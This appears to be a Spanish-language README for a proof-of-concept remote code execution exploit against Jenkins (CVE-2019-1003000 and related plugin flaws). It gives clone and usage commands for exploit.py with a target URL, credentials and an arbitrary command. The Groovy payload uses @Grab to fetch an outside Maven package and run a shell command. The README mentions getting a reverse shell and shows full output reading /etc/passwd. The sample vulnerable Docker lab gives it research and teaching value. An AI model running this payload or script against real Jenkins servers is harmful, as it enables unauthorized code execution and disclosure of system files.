
Prueba de concepto de RCE en Jenkins: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
Una prueba de concepto que permite a usuarios con permiso Overall/Read y Job/Configure (y opcionalmente Job/Build) eludir la protección del sandbox y ejecutar código arbitrario en el nodo maestro o esclavo de Jenkins.
Actualización: Un artículo de Orange Tsai que explica la cadena de explotación utilizando CVE-2018-1000861 y CVE-2019-1003000, la cual evita la necesidad del permiso Overall/Read para un RCE sin autenticación previa: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
Pase la URL objetivo, el nombre del trabajo, la credencial de usuario/contraseña y el comando del sistema a ejecutar como argumentos.
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
Citado de Red Hat Bugzilla - Bug 1667566:
Se encontró un fallo en Pipeline: Declarative Plugin anterior a la versión 1.3.4.1, Pipeline: Groovy Plugin anterior a la versión 2.61.1 y Script Security Plugin anterior a la versión 1.50. La protección del sandbox de Script Security podría ser eludida durante la fase de compilación del script aplicando anotaciones de transformación AST como @Grab a elementos del código fuente. Tanto las API REST de validación de pipeline como la ejecución real de scripts/pipelines se ven afectadas. Esto permitió a usuarios con permiso Overall/Read, o capaces de controlar el Jenkinsfile o el contenido de la biblioteca compartida de Pipeline en sandbox en el SCM, eludir la protección del sandbox y ejecutar código arbitrario en el nodo maestro o esclavo de Jenkins. Ahora todas las transformaciones AST inseguras conocidas en Groovy están prohibidas en scripts en sandbox.
Esta PoC utiliza un usuario con permisos Overall/Read y Job/Configure para ejecutar un script de compilación maliciosamente modificado en modo sandbox, e intenta eludir la limitación del modo sandbox para ejecutar scripts arbitrarios (en este caso, ejecutaremos un comando del sistema).
Como antecedente, el script de compilación del pipeline de Jenkins está escrito en Groovy. Este script de compilación será compilado y ejecutado en el nodo maestro o esclavo de Jenkins, conteniendo la definición del pipeline, por ejemplo, qué hacer en los nodos esclavos. Jenkins también proporciona el script para ser ejecutado en modo sandbox. En modo sandbox, todas las funciones peligrosas están en lista negra, por lo que un usuario normal no puede hacer nada malicioso al servidor Jenkins.
Sin embargo, dado que el script de compilación está escrito en Groovy, podemos usar cualquier clase o función de los paquetes de Java (aunque en modo sandbox, las funciones integradas peligrosas están en lista negra). En este caso, estamos usando anotaciones de transformación AST @Grab para hacer que Jenkins importe paquetes Java arbitrarios desde un repositorio Maven externo. En esta PoC, uso la clase ProcBuilder definida en org.buildobjects:jproc:2.2.3 para ejecutar un comando de shell del sistema.
El payload se define de la siguiente manera:
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
El script anterior será compilado y ejecutado en el nodo maestro o esclavo de Jenkins. Una vez que la compilación del trabajo haya finalizado, podemos ver el resultado del comando de shell cat /etc/passwd en la salida de la consola del trabajo. Además, podemos utilizar esta RCE para obtener una shell inversa y literalmente pwn el servidor Jenkins.
En este repositorio se proporciona un sitio Jenkins vulnerable de ejemplo en el directorio sample-vuln en formato de contenedor Docker. Después de iniciar, la imagen del contenedor tendrá un sitio Jenkins alojado en el puerto tcp/8080, con un usuario regular con permisos Overall/Read + Job/Configure + Job/Build y credencial user1:user1, y un trabajo de pipeline con id my-pipeline.
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS